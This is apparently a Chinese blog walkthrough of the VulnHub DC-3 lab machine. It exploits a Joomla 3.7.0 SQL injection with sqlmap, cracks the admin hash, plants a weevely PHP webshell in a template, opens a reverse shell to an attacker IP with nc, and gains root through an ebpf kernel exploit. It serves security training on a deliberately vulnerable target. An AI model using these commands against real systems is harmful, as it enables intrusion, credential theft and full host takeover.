vulnhub|vulnhub DC3 靶场练习

前言 这次练习的靶机是vulnhub平台下的DC系列靶机第三台,下载地址为https://www.vulnhub.com/entry/dc-32,312/。该靶机的难度系数为简单,该靶机只有一个flag,只有获取root权限才能获取该flag。
虚拟机配置 这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-3靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。
vulnhub|vulnhub DC3 靶场练习
文章图片

然后需要溢出CD/DVD选项,这个启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接也是可以的。
【vulnhub|vulnhub DC3 靶场练习】vulnhub|vulnhub DC3 靶场练习
文章图片

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
vulnhub|vulnhub DC3 靶场练习
文章图片

通过nmap扫描获取到靶机的IP地址为 192.168.119.161。下面就对靶机更加详细的扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.161

-A 代表综合性扫描,能收集很多主要的信息
-sV 代表扫主要的服务信息
-p- 参数p是指定端口,后面的-代表所有端口。
vulnhub|vulnhub DC3 靶场练习
文章图片

只扫描出靶机开放了80端口,而且使用了joomla。接下来我们打开网站看看,需要特别注意有数据交互的地方,因为这些地方通常是漏洞出现的地方。
vulnhub|vulnhub DC3 靶场练习
文章图片

仔细观察并分析后没有发现可以利用的漏洞,接下来就用 dirsearch对该网站进行目录扫描。
dirsearch -u 192.168.119.161

vulnhub|vulnhub DC3 靶场练习
文章图片

很快dirsearach就扫描完毕,通过扫描发现了一个 administrator的目录,该目录很有可能是后台管理地址,打开看看。
vulnhub|vulnhub DC3 靶场练习
文章图片

确实是后台管理地址,并且进一步证实该网站使用的cms就是joomla。直接上burpsuite爆破,经过尝试没有把密码爆出来。既然没有发现漏洞,那就在漏洞库里面查一查有没有该cms的漏洞吧,但是首先需要获取joomla的版本号。获取版本号可以用joomla的专用扫描器 joomscan来扫描,首先安装一下 joomscan
apt install joomscan

然后对目标网站进行扫描。
joomscan -u 192.168.119.161

vulnhub|vulnhub DC3 靶场练习
文章图片

通过扫描得知该joomla的版本号为 3.7.0
sql注入 现在已经知道joomla的版本了,接下来就用 searchsploit搜索对应的漏洞。
searchsploit joomla 3.7.0

vulnhub|vulnhub DC3 靶场练习
文章图片

搜索得到了一个跨站脚本漏洞和一个sql注入漏洞,接下来通过 searchsploit -m命令把sql注入漏洞对应的文件复制到当前文件夹。
searchsploit -m 42033.txt

vulnhub|vulnhub DC3 靶场练习
文章图片

好,该文件已经复制到当前目录了,查看一下里面的内容。
cat 42033.txt

vulnhub|vulnhub DC3 靶场练习
文章图片

这个文件里面都把利用命令给出来了,直接复制粘贴,然后修改一下IP地址即可使用。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

–risk 这个参数指定的数字越大,执行风险越高,成功率也越高。参数范围为1-3。
–level 这个参数指定的数字越大,发送的请求越多,成功率也越高,参数范围为1-5.
–random-agent 使用随机的请求的user agent,这个是为了避免请求被waf阻断。
–dbs 获取所有数据库名称。
-p 该参数是指定可以利用sql注入漏洞的参数。
vulnhub|vulnhub DC3 靶场练习
文章图片

扫描出了五个库,数据库joomladb即该cms所使用的数据库,获取该库的所有表名。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

-D 指定需要扫描的库名。
–tables 列出指定库中的所有表名。
vulnhub|vulnhub DC3 靶场练习
文章图片

扫出来的表很多,我们发现了一个名为#__users的表,这个应该是保存用户名和密码的表。用sqlmap把这个表里面的内容全部扫出来。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]

-T 指定需要扫描的报名。
–dump 表示获取指定库和表中的有内容。
vulnhub|vulnhub DC3 靶场练习
文章图片

获取到了账号 admin,密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu。该密文首部 2y表示该加密方式为Blowfish
破解密文 尝试使用约翰开膛手破解一下,首先把密文保存一个文件中。
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>pass.txt

然后使用约翰开膛手进行暴力破解。
john pass.txt john --show pass.txt

通过john破解的密码会保存在 ~/.john/johh.pot中,查看破解的密码可以直接查看该文件也可以通过 john --show命令指定密文文件来查看密码。
vulnhub|vulnhub DC3 靶场练习
文章图片

密码已经破解出来,密码为 snoopy.
获取shell 通过破解的密码登陆网站管理后台。
vulnhub|vulnhub DC3 靶场练习
文章图片

获取shell的方法与之前靶机中WordPress获取shell的方法类似,通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接。这里我采用weevely做演示,首先用weebely生成一个木马。
weevely generate a a.php

generate 代表生成一个木马
a 代表连接密码
a.php 是木马文件名
vulnhub|vulnhub DC3 靶场练习
文章图片

然后在后台中选择 Templates
vulnhub|vulnhub DC3 靶场练习
文章图片

然后依次点击 Templates-> Beez3 Details and Files,选择下边的模块也是可以的,这里就用Beez3模块做演示。
vulnhub|vulnhub DC3 靶场练习
文章图片

点击 New File后就会弹出一个模态框,在模态框中可以填写创建文件的文件名与文件类型。
vulnhub|vulnhub DC3 靶场练习
文章图片

随便填写一个文件名,但是需要记住,待会儿连接需要使用,文件类型选择PHP。
vulnhub|vulnhub DC3 靶场练习
文章图片

将刚刚用weevely生成的木马内容粘贴到文本框中,然后点击保存。
vulnhub|vulnhub DC3 靶场练习
文章图片

通过前面的目录扫,我们知道了模块会保存在目录/templates/beez3/中,我们访问一下刚才编辑好的木马文件:http://192.168.119.161/templates/beez3/a.php,如下图所示出现空白则说明有这个木马文件存在。
vulnhub|vulnhub DC3 靶场练习
文章图片

如果访问文件不存在就会报404错误,如下图所示。
vulnhub|vulnhub DC3 靶场练习
文章图片

然后使用weevely进行连接。
weevely http://192.168.119.160/templates/beez3/a.php a

最后面一个a是连接密码,在生成木马的时候设置的。
vulnhub|vulnhub DC3 靶场练习
文章图片

如图所示说明已经成功获取shell了。
提权 在linu提权中最常见的就是suid提权了,接下来就通过find -perm -u=s -type f -exec ls -la {} \; 2>/dev/null命令查找具有s权限的文件,以及用 sudo -l查看可以用root权限执行的命令。
vulnhub|vulnhub DC3 靶场练习
文章图片

经过查找没有发现s权限的文件也没有发现可以用root权限执行的命令。这种情况还是需要用searchsploit来查找提权漏洞。但是查找前需要知道系统的版本号和内核版本号。
cat /etc/issue//查看系统版本号 uname -a//查看内核版本号

vulnhub|vulnhub DC3 靶场练习
文章图片

我们得知系统为 ubuntu 16.04,内核发行版本为 4.4.0-21
searchsploit ubuntu 16.04

vulnhub|vulnhub DC3 靶场练习
文章图片

找到对应内核版本的漏洞,这次提权采用 39772.txt来演示。
searchsploit -m 39772.txt

vulnhub|vulnhub DC3 靶场练习
文章图片

按照这个文件里面的提示下载好漏洞利用脚本。下载的是一个zip文件,里面有两个文件,分别为 exploit.tarcrasher.tat。这次提权我们只需要用到 exploit.tar,所以把这个文件上传到靶机上。
vulnhub|vulnhub DC3 靶场练习
文章图片

执行以下命令上传exploit.tar,注意命令前有一个冒号,还要注意exploit.tar的文件本地地址。
:file_upload2web exploit.tar

vulnhub|vulnhub DC3 靶场练习
文章图片

接下来就需要建立反弹shell,在webshell中的命令是基于php的,所以有很多功能会受到限制,会导致提权不会成功。所以需要建立反弹shell来提权。
首先在本地监听一个端口,这里以 4443作演示。
rlwrap nc -lvnp 4443

rlwrap是为了让shell更加智能化。
vulnhub|vulnhub DC3 靶场练习
文章图片

然后在weevely建立的webshell中输入以下命令来建立反弹shell,注意IP地址与端口号:
:backdoor_reversetcp 192.168.119.130 4443

vulnhub|vulnhub DC3 靶场练习
文章图片

出现报错了,没关系,来到监听窗口观察发现已经建立了反弹shell。下面就升级为交互式shell。
python -c 'import pty; pty.spawn("/bin/bash")'

vulnhub|vulnhub DC3 靶场练习
文章图片

接下来就解压漏洞利用文件,解压后进入解压的目录。
tar xvf exploit.tar cd ebpf_mapfd_doubleput_exploit

vulnhub|vulnhub DC3 靶场练习
文章图片

先执行 complie.sh,然后执行 doubleput,忽略报错。
./complie.sh ./doubeput

vulnhub|vulnhub DC3 靶场练习
文章图片

vulnhub|vulnhub DC3 靶场练习
文章图片

提权成功!去 /root获取flag。
cd /root cat the-flag.txt

vulnhub|vulnhub DC3 靶场练习
文章图片

总结 该靶机总体比较简单,遇到问题只需要到searchsploit搜索即可解决问题。
参考文献 [1] https://zhuanlan.zhihu.com/p/51756921,sqlmap的一些技术细节(2)
[2] https://www.cnblogs.com/vaelailai/p/7545166.html,linux查看操作系统版本信息
[3] https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密码段的生成方式

    推荐阅读